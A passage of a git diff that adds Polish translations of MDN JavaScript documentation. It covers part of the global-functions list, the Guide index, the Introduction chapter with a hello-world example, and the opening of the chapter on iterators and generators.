+ <dd>
+ <p>The global <code><strong>isFinite()</strong></code> function determines whether the passed value is a finite number. If needed, the parameter is first converted to a number.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</dt>
+ <dd>
+ <p>The <code><strong>isNaN()</strong></code> function determines whether a value is {{jsxref("Global_Objects/NaN", "NaN")}} or not. Note: coercion inside the <code>isNaN</code> function has <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN#Description">interesting</a> rules; you may alternatively want to use {{jsxref("Number.isNaN()")}}, as defined in ECMAScript 6, or you can use <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code> to determine if the value is Not-A-Number.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</dt>
+ <dd>
+ <p>The <code><strong>parseFloat()</strong></code> function parses a string argument and returns a floating point number.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</dt>
+ <dd>
+ <p>The <code><strong>parseInt()</strong></code> function parses a string argument and returns an integer of the specified radix (the base in mathematical numeral systems).</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</dt>
+ <dd>
+ <p>The <code><strong>decodeURI()</strong></code> function decodes a Uniform Resource Identifier (URI) previously created by {{jsxref("Global_Objects/encodeURI", "encodeURI")}} or by a similar routine.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</dt>
+ <dd>
+ <p>The <code><strong>decodeURIComponent()</strong></code> method decodes a Uniform Resource Identifier (URI) component previously created by {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} or by a similar routine.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</dt>
+ <dd>
+ <p>The <code><strong>encodeURI()</strong></code> method encodes a Uniform Resource Identifier (URI) by replacing each instance of certain characters by one, two, three, or four escape sequences representing the UTF-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</dt>
+ <dd>
+ <p>The <code><strong>encodeURIComponent()</strong></code> method encodes a Uniform Resource Identifier (URI) component by replacing each instance of certain characters by one, two, three, or four escape sequences representing the UTF-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>The deprecated <code><strong>escape()</strong></code> method computes a new string in which certain characters have been replaced by a hexadecimal escape sequence. Use {{jsxref("Global_Objects/encodeURI", "encodeURI")}} or {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} instead.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>The deprecated <code><strong>unescape()</strong></code> method computes a new string in which hexadecimal escape sequences are replaced with the character that it represents. The escape sequences might be introduced by a function like {{jsxref("Global_Objects/escape", "escape")}}. Because <code>unescape()</code> is deprecated, use {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} or {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} instead.</p>
+ </dd>
+</dl>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</p>
diff --git a/files/pl/web/javascript/guide/index.html b/files/pl/web/javascript/guide/index.html
new file mode 100644
index 0000000000..c4d51fad14
--- /dev/null
+++ b/files/pl/web/javascript/guide/index.html
@@ -0,0 +1,122 @@
+---
+title: Przewodnik JavaScript
+slug: Web/JavaScript/Guide
+tags:
+ - JavaScript
+ - Przewodnik JavaScript
+translation_of: Web/JavaScript/Guide
+---
+<div>{{jsSidebar("JavaScript Guide")}}</div>
+
+<p class="summary">Przewodnik JavaScript pokazuje jak używać <a href="/en-US/docs/Web/JavaScript">JavaScript</a> oraz pokazuje ogólny przegląd języka. Jeśli potrzebujesz wyczerpujących informacji o konkretnej funkcjonalności zajrzyj do <a href="/en-US/docs/Web/JavaScript/Reference">JavaScript reference</a>.</p>
+
+<h2 id="Rozdziały">Rozdziały</h2>
+
+<p>Ten przewodnik jest podzielony na kilka rozdziałów:</p>
+
+<ul class="card-grid">
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Introduction">Wprowadzenie</a></span>
+
+ <p><a href="/en-US/docs/Web/JavaScript/Guide/Introduction#Where_to_find_JavaScript_information">O tym przewodniku</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#What_is_JavaScript">O JavaScript</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_Java">JavaScript i Java</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_the_ECMAScript_Specification">ECMAScript</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#Getting_started_with_JavaScript">Narzędzia</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#Hello_world">Hello World</a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types">Gramatyka i typy</a></span>
+ <p><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Basics">Podstawy składni i komentarze</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Declarations">Deklaracje</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Variable_scope">Zakres zmiennej</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Variable_hoisting">Podnoszenie (hoisting) zmiennej</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Data_structures_and_types">Struktury i typy danych</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Literals">Literały</a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">Kontrola przepływu i obsługa błędów</a></span>
+ <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#if...else_statement">if...else</a></code><br>
+ <code><a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#switch_statement">switch</a></code><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Exception_handling_statements"><code>try</code>/<code>catch</code>/<code>throw</code></a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Utilizing_Error_objects">Obiekty Error</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Promises">Obietnice (Promises)</a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Pętle i iteracje</a></span>
+ <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for_statement">for</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#while_statement">while</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#do...while_statement">do...while</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#break_statement">break</a>/<a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#continue_statement">continue</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for...in_statement">for..in</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_statement">for..of</a></code></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Funkcje</a></span>
+
+ <p><a href="/en-US/docs/Web/JavaScript/Guide/Functions#Defining_functions">Definiowanie funkcji</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Calling_functions">Wywołanie funkcji</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Function_scope">Zakres funkcji</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Closures">Domknięcia</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Using_the_arguments_object">Argumenty </a>i <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Function_parameters">parametry</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Arrow_functions">Funkcje strzałkowe</a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Wyrażenia i operatory</a></span>
+ <p><a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment_operators">Przypisanie</a> i <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Comparison_operators">Porównanie</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Arithmetic_operators">Operatory arytmetyczne</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Bitwise_operators">Bitowe</a> i <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Logical_operators">logiczne operatory</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Conditional_(ternary)_operator">Operator warunkowy (potrójny)</a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates">Numery i daty</a></span><a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Numbers"> Literały numeryczne</a>
+ <p><a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Number_object">Obiekt <code>Number</code></a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Math_object">Obiekt <code>Math</code></a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Date_object">Obiekt <code>Date</code></a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting">Formatowanie tekstu</a></span>
+ <p><a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#String_literals">Literały String</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#String_objects">Obiekt <code>String</code></a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#Multi-line_template_literals">Literały szablonowe</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#Internationalization">Umiędzynarodowienie</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Wyrażenia regularne</a></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections">Kolekcje indeksowane</a></span>
+
+ <p><a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Array_object">Tablice</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Typed_Arrays">Tablice typowane</a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections">Kolekcje z kluczem (Keyed collections)</a></span>
+ <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#Map_object">Map</a></code><br>
+ <code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#WeakMap_object">WeakMap</a></code><br>
+ <code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#Set_object">Set</a></code><br>
+ <code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#WeakSet_object">WeakSet</a></code></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects">Praca z obiektami</a></span>
+ <p><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_properties">Obiekty i właściwości</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">Tworzenie obiektów</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_methods">Definiowanie metiod</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Gettery i settery</a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Szegóły i model obiektowy</a></span>
+ <p><a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-based_vs._prototype-based_languages">OOP bazujące na prototypach</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Creating_the_hierarchy">Tworzenie hierarchii obiektów</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Property_inheritance_revisited">Dziedziczenie</a></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iteratory i generatory</a></span>
+
+ <p><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterators">Iteratory</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterables">Iterables (Obiekty dające się powtórzyć)</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators">Generatory</a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming">Meta programowanie</a></span>
+ <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Proxies">Proxy</a></code><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Handlers_and_traps">Handlery i pułapki</a><br>
+ <a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Revocable_Proxy">Odwołalne Proxy</a><br>
+ <code><a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Reflection">Reflect</a></code></p>
+ </li>
+</ul>
+
+<p>{{Next("Web/JavaScript/Guide/Introduction")}}</p>
diff --git a/files/pl/web/javascript/guide/introduction/index.html b/files/pl/web/javascript/guide/introduction/index.html
new file mode 100644
index 0000000000..d223e18f8b
--- /dev/null
+++ b/files/pl/web/javascript/guide/introduction/index.html
@@ -0,0 +1,150 @@
+---
+title: Wstęp
+slug: Web/JavaScript/Guide/Introduction
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Guide/Introduction
+---
+<p> </p>
+
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</div>
+
+<p class="summary">Ten rozdział służy jako wprowadzenie do języka JavaScript i omawia jego fundamentalne koncepcje. </p>
+
+<h2 id="Co_powinieneś_wiedzieć_by_zacząć">Co powinieneś wiedzieć, by zacząć?</h2>
+
+<p>Ten poradnik zakłada, że posiadasz podstawową wiedzę w takich obszarach, jak:</p>
+
+<ul>
+ <li>Koncepcja Internetu oraz sieci ({{Glossary("WWW")}});</li>
+ <li>Praktyczne wiadomości na temat języka HyperTextMarkup Language ({{Glossary("HTML")}})</li>
+ <li>Podstawowe doświadczenie w programowaniu. Jeżeli nigdy dotąd nie miałeś styczności z programowaniem, wypróbuj jeden z naszych poradników na temat języka <a href="/pl/docs/Web/JavaScript" title="/en-US/docs/">JavaScript</a>, który znajdziesz na głównej stronie.</li>
+</ul>
+
+<h2 id="Gdzie_szukać_informacji_na_temat_języka_JavaScript">Gdzie szukać informacji na temat języka JavaScript?</h2>
+
+<p>Dokumentacja języka JavaScript w MDN zawiera:</p>
+
+<ul>
+ <li>Poradnik <a href="/pl/Learn">Learning the Web</a>, który zawiera informacje dla początkujących oraz wprowadza podstawowe pojęcia dotyczące Internetu, a także programowania.</li>
+ <li>Poradnik <a href="/pl/docs/Web/JavaScript/Guide" title="pl/Core_JavaScript_1.5_Guide">JavaScript Guide</a> (ten poradnik) służy jako przegląd możliwości i celów posługiwania się językiem JavaScript.  </li>
+ <li><a href="/pl/docs/Web/JavaScript/Referencje" title="pl/JavaScript/Reference">JavaScript Reference</a> dostarcza szczegółowych informacji o języku JavaScript.</li>
+</ul>
+
+<p>Jeżeli nigdy nie miałeś kontaktu z językiem Javascript, zacznij od artykułów w <a href="/pl/Learn">strefie nauki</a> i<a href="/en-US/docs/Web/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide"> JavaScript Guide</a>. Kiedy poznasz fundamentalne zasady działania języka, będziesz mógł poszerzać wiedzę dzięki <a href="/pl/docs/Web/JavaScript/Reference" title="en/JavaScript/Reference">JavaScript Reference</a>, gdzie znajdziesz kody źródłowe i szczegółowe opisy pojedynczych zagadnień.</p>
+
+<h2 id="Czym_jest_JavaScript">Czym jest JavaScript?</h2>
+
+<p>JavaScript to wieloplatformowy, zorientowany obiektowo język skryptowy, który cechuje lekkość i szybkość działania. W środowiskach developerskich może zostać połączony z konkretnymi obiektami tak, by zapewnić nad nimi łatwą i przejrzystą kontrolę.</p>
+
+<p>Język JavaScript zawiera standardową bibliotekę, w której zdefiniowano podstawowe elementy  w postaci operatorów, struktur i instrukcji oraz obiektów takich, jak: <code>Array, Date i Math</code>. Standardowa biblioteka może być rozszerzana poprzez dodawanie nowych obiektów tak, by ułatwić programiście dopasowanie języka do jego potrzeb. Na przykład:</p>
+
+<ul>
+ <li><em>JavaScript</em> <em>po stronie klienta</em> został rozszerzony poprzez wprowadzenie mechanizmów kontroli przeglądarki i jej modelu DOM. Rozszerzenia te umożliwiają każdej aplikacji umieszczanie elementów w formularzach HTML, a także reakcję na wydarzenia wywoływane przez użytkownika, takie, jak: kliknięcie myszką, wpisywanie danych oraz nawigacja po stronie. </li>
+ <li><em>JavaScript po stronie serwera </em>został rozszerzony poprzez dodanie elementów, które umożliwiają komunikację z bazą danych, manipulację plikami na serwerze oraz zawierają sposoby na zapewnienie integralności informacji wymienianej między poszczególnymi elementami aplikacji. </li>
+</ul>
+
+<h2 id="JavaScript_and_Java" name="JavaScript_and_Java">JavaScript i Java</h2>
+
+<p>Języki JavaScript i Java cechuje pewne podobieństwo, lecz dzielą fundamentalne różnice. Kod napisany w JavaScript może początkującemu programiście przypominać język Java, ale w przeciwieństwie do niego nie jest statycznie silnie typowany. Składnia obu języków, a także niektóre konwencje, są zbliżone, dlatego początkowa nazwa języka - LiveScript - została zmieniona na: JavaScript. </p>
+
+<p>W przeciwieństwie do klasowego, kompilowanego systemu Javy,  JavaScript jest językiem interpretowanym, opartym na małej liczbie podstawowych typów danych reprezentujących wartości numeryczne (Boolean i string). Obiektowość w JavaScript bazuje na prototypach, które zapewniają dynamiczne dziedziczenie. Umożliwia to programiście wybieranie konkretnych metod i atrybutów, które mają zostać przekazane. Jest to spora różnica względem Javy, która opiera się na modelu dziedziczenia, w którym główną rolę odgrywają klasy. Różnica między językami zachodzi też w podejściu do funkcji - w JavaScript mogą być one atrybutami obiektów, co powoduje, że traktowane są wtedy jako słabo typowane metody. </p>
+
+<p>JavaScript daje programiście większą wolność w tworzeniu kodu - nie musimy deklarować wszystkich zmiennych, klas ani metod. Nie musimy też zastanawiać się, czy dana metoda powinna być prywatna, publiczna czy chroniona, ani tworzyć interfejsów. Typy zmiennych, parametrów i zwracanych przez funkcje wartości nie są formalnie zdefiniowane. </p>
+
+<p>Java służy do budowania aplikacji opartych na klasach, które cechują się szybkością działania i zachowaniem typów danych. Oznacza to, że nie możemy przekazać zmiennej typu integer jako referencji do obiektu, ani uzyskać dostępu do pamięci przez uszkodzenie kodu wykonywalnego Javy. Klasowy model obiektowości w  Javie oznacza, że programy zbudowane są wyłącznie z klas i ich metod, a dziedziczenie zaimplementowane w tym języku wymaga ściśle powiązanych ze sobą hierarchi. Wszystkie te cechy sprawiają, że Java jest o wiele bardziej skomplikowanym i wymagającym językiem w porównaniu do JavaScript. </p>
+
+<p>JavaScript jest duchowym spadkobiercą małych, dynamicznie typowanych języków, takich, jak: HyperTalk i dBASE. Te języki skryptowe oferują narzędzia bardziej dostępne dla przeciętnego programisty ze względu na prostą składnię, wyspecjalizowane funkcjonalności i minimalne wymagania w celu tworzenia nowych obiektów.  </p>
+
+<table class="standard-table">
+ <caption>JavaScript w porównaniu do Javy</caption>
+ <thead>
+ <tr>
+ <th scope="col">JavaScript</th>
+ <th scope="col">Java</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>
+ <p>Zorientowany obiektowo. Bez rozróżnienia na typy obiektów. Dziedziczenie poprzez mechanizm prototypów, atrybuty i metody klas mogą być dodawane dynamicznie.</p>
+ </td>
+ <td>
+ <p>Zorientowany klasowo. Obiekty podzielone są na klasy i instancje, z dziedziczeniem poprzez ich hierarchie. Atrybuty i metody klas nie mogą być dodawane dynamicznie. </p>
+ </td>
+ </tr>
+ <tr>
+ <td>
+ <p>Typy zmiennych nie są deklarowane (dynamiczne typowanie).</p>
+ </td>
+ <td>
+ <p>Typy zmiennych muszą być deklarowane (statyczne typowanie)</p>
+ </td>
+ </tr>
+ <tr>
+ <td>
+ <p>Nie może automatycznie zapisywać danych na dysk twardy.</p>
+ </td>
+ <td>
+ <p>Może automatycznie zapisywać dane na dysk twardy.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Więcej informacji na temat różnic między tymi językami znajdziesz w rozdziale: <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model" title="JavaScript/Guide/Details of the Object Model">Details of the object model</a>.</p>
+
+<h2 id="JavaScript_and_the_ECMAScript_Specification" name="JavaScript_and_the_ECMAScript_Specification">JavaScript i specyfikacja EMCAScript</h2>
+
+<p>Specyfikacja JavaScript definiowana jest przez <a class="external" href="http://www.ecma-international.org/">Ecma International</a>, stowarzyszenie zajmujące się standaryzacją systemów informatycznych w Europie. Owa standaryzacja ma na celu zapewnienie jednolitości języka, który powinien zachowywać się w ten sam sposób w każdej aplikacji wspierającej ten standard. Wersja JavaScript działająca według tej specyfikacji zwana jest ECMAScript. Otwarty standard zapewnia możliwość wprowadzania przez firmy swoich implementacji w oparciu o podstawowy model. Pełna specyfikacja standardu ECMAScript została zaprezentowana w dokumencie ECMA-262. Aby dowiedzieć się więcej o wydaniach języka JavaScript i specyfikacji ECMAScript, zajrzyj do artykułu: <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript">New in JavaScript</a>.</p>
+
+<p>Standard ECMA-262 został zatwierdzony przez <a class="external" href="http://www.iso.ch/">ISO</a> (Międzynarodowa Organizacja Normalizacyjna) jako ISO-16262. Specyfikację możesz znaleźć na <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">stronie stowarzyszenia ECMA</a>, jednakże nie przedstawia ona modelu DOM, który został ustandaryzowany przez <a class="external" href="http://www.w3.org/">World Wide Web Consortium (W3C)</a>. Model ten pełni bardzo ważną funkcję, gdyż definiuje, w jaki sposób elementy dokumentu HTML dostępne są dla twoich skryptów. By znaleźć więcej informacji o różnych technologiach wykorzystywanych podczas pracy z językiem JavaScript, zerknij na artykuł: <a href="/en-US/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript technologies overview</a>.</p>
+
+<h3 id="JavaScript_Documentation_versus_the_ECMAScript_Specification" name="JavaScript_Documentation_versus_the_ECMAScript_Specification">Dokumentacja JavaScript kontra specyfikacja ECMAScript</h3>
+
+<p>Specyfikacja ECMAScript precyzuje zestaw wymagań dla implementacji ECMAScript, co przydaje się, gdy chcemy zgodnie z obowiązującym standardem zaimplementować funkcje języka lub stworzyć własny silnik (taki, jak SpiderMonkey w Firefox lub v8 w przeglądarce Chrome).</p>
+
+<p>Jednakże dokument ECMAScript nie powstał po to, by pomóc programiście w pisaniu aplikacji - w tym celu wykorzystuj dokumentacje JavaScript.</p>
+
+<p>W specyfikacji ECMAScript używana składnia i terminologia początkowo mogą być obce dla programisty JavaScript, natomiast nadal jest to ten sam język. JavaScript wspiera każdą funkcjonalność, której ramy zostały nakreślone w tej specyfikacji. </p>
+
+<p>Dokumentacja JavaScript opisuje wszystkie aspekty języka, które mogą być wykorzystane bezpośrednio przez programistę. </p>
+
+<h2 id="Pierwsze_kroki_w_języku_JavaScript">Pierwsze kroki w języku JavaScript</h2>
+
+<p>By zacząć pracę z  JavaScript, jedyne, czego potrzebujesz, to nowoczesna przeglądarka. Ten poradnik wykorzystuje funkcje, które są dostępne tylko w najnowszych wersjach Firefox, dlatego zadbaj o to, by twoja wersja przeglądarki była zaktualizowana. </p>
+
+<p>W Firefox wbudowane zostały dwie funkcje znacząco ułatwiające eksperymentowanie z JavaScript - mowa tutaj o konsoli przeglądarki i brudnopisie.  </p>
+
+<h3 id="Konsola_WWW">Konsola WWW</h3>
+
+<p>Konsola pozwala obserwować informacje o odwiedzanej przez ciebie stronie i umożliwia wykonywanie skryptów przez wiersz poleceń. </p>
+
+<p>By otworzyć konsolę, z panelu opcji wybierz: "Narzędzia", a następnie: "Konsola WWW" - wtedy powinna się pojawić na dole twojego okna. Pasek wiersza poleceń, w którym możesz uruchamiać swój kod JavaScript, umieszczony jest na dole konsoli, w miejscu wskazanym na obrazku:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7363/web-console-commandline.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="Brudnopis">Brudnopis</h3>
+
+<p>Konsola WWW jest świetna, kiedy chcemy tworzyć pojedyncze linijki skryptów, ale pomimo tego, że możliwe jest wykonywanie dłuższego kodu, rozwiązanie to nie jest wygodne. Konsola nie daje możliwości zapisywania fragmentów kodu, którego używamy. W tym przypadku do pomocy wykorzystamy brudnopis, który stworzony został do pracy z bardziej skomplikowanymi przykładami.</p>
+
+<p>By otworzyć brudnopis, z panelu opcji wybierz: "Narzędzia", a następnie: "Brudnopis" - powinno się otworzyć nowe okno przeglądarki wraz z edytorem tekstu, który umożliwia pisanie i tworzenie kodu JavaScript bezpośrednio w przeglądarce. Możesz także zapisywać i ładować swoje skrypty prosto z dysku twardego. </p>
+
+<p>Po naciśnięciu przycisku: "Wyświetl", znajdującego się w górnej części okienka, twój kod zostanie wykonany i umieszczony w edytorze jako komentarz:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7365/scratchpad.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="Hello_world">Hello world</h3>
+
+<p>Swoją przygodę z językiem JavaScript rozpocznij od otworzenia konsoli WWW lub brudnopisu i napisania pierwszego skryptu: "Hello world".</p>
+
+<pre class="brush: js">function greetMe(user) {
+ return "Witaj " + user;
+}
+
+greetMe("Alice"); // "Witaj Alice"
+</pre>
+
+<p>Na następnych stronach poradnika wprowadzimy cię w składnię JavaScript i pokażemy zestaw możliwości dostarczanych przez ten język, by umożliwić ci napisanie bardziej skomplikowanych aplikacji.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</p>
diff --git a/files/pl/web/javascript/guide/iterators_and_generators/index.html b/files/pl/web/javascript/guide/iterators_and_generators/index.html
new file mode 100644
index 0000000000..236d360a92
--- /dev/null
+++ b/files/pl/web/javascript/guide/iterators_and_generators/index.html
@@ -0,0 +1,165 @@
+---
+title: Iterators and generators
+slug: Web/JavaScript/Guide/Iterators_and_Generators
+tags:
+ - JavaScript
+ - Przewodnik
+translation_of: Web/JavaScript/Guide/Iterators_and_Generators
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Meta_programming")}}</div>
+
+<p class="summary">Przetwarzanie każdego elementu w kolekcji jest bardzo popularną operacją. JavaScript daje wiele możliwości iteracji przez elementy kolekcji: od prostej pętli {{jsxref("Polecenia/for","for")}} do {{jsxref("Obiekty/Array/map","map()")}} i {{jsxref("Obiekty/Array/filter","filter()")}}. Iteratory i Generatory wnoszą pojęcie interacji bezpośredno w natywne funkcjonalności języka i dają możliwość do dostosowania zachowania pętli {{jsxref("Polecenia/for...of","for...of")}}.</p>
+
+<p>Zobacz także:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Iteration protocols</a></li>
+ <li>{{jsxref("Polecenia/for...of","for...of")}}</li>
+ <li>{{jsxref("Polecenia/function*","function*")}} i {{jsxref("Obiekty/Generator","Generator")}}</li>
+ <li>{{jsxref("Operatory/yield","yield")}} i {{jsxref("Operatory/yield*","yield*")}}</li>
+</ul>
+
+<h2 id="Iteratory">Iteratory</h2>
+
+<p>Obiekt jest <strong>iteratorem</strong> kiedy wie jak uzyskać dostęp do elementów z kolekcji pojedynczo, podczas gdy śledzi swoją obecną pozycję w tej sekwencji. W języku JavaScript iterator jest obiektem który dostarcza metodę next(), która zwraca następny obiekt w tej sekwencji. Ta metoda zwraca obiekt z dwoma właściwościami: <code>done</code> i <code>value</code>.</p>
+
+<p>Po utworzeniu, obiekt iteratora może być użyty jawnie przez powtarzanie wywołania metody next().</p>
+
+<pre class="brush: js">function makeIterator(array) {
+ var nextIndex = 0;
+
+ return {
+ next: function() {
+ return nextIndex &lt; array.length ?
+ {value: array[nextIndex++], done: false} :
+ {done: true};
+ }
+ };
+}</pre>
+
+<p>Po inicjalizacji metoda next() może być wywołana w celu dostępu do par klucz-wartość z obiektu:</p>
+
+<pre class="brush: js">var it = makeIterator(['yo', 'ya']);
+console.log(it.next().value); // 'yo'
+console.log(it.next().value); // 'ya'
+console.log(it.next().done); // true</pre>
+
+<h2 id="Generatory">Generatory</h2>
+
+<p>Pomimo tego, że iteratory są przydatnym narzędziem, ich utworzenie wymaga ostrożnego podejścia, ze względu na potrzebę jawnego utrzymywania ich wewnętrznego stanu. <strong>{{jsxref("Obiekty/Generator","Generators","","true")}}</strong> zapewnia mocną alternatywę: pozwalają one zdefiniować programiście iteratywny algorytm poprzez utworzenie pojedynczej funkcji, która jest wstanie utrzymywać swój wewnętrzny stan.</p>
+
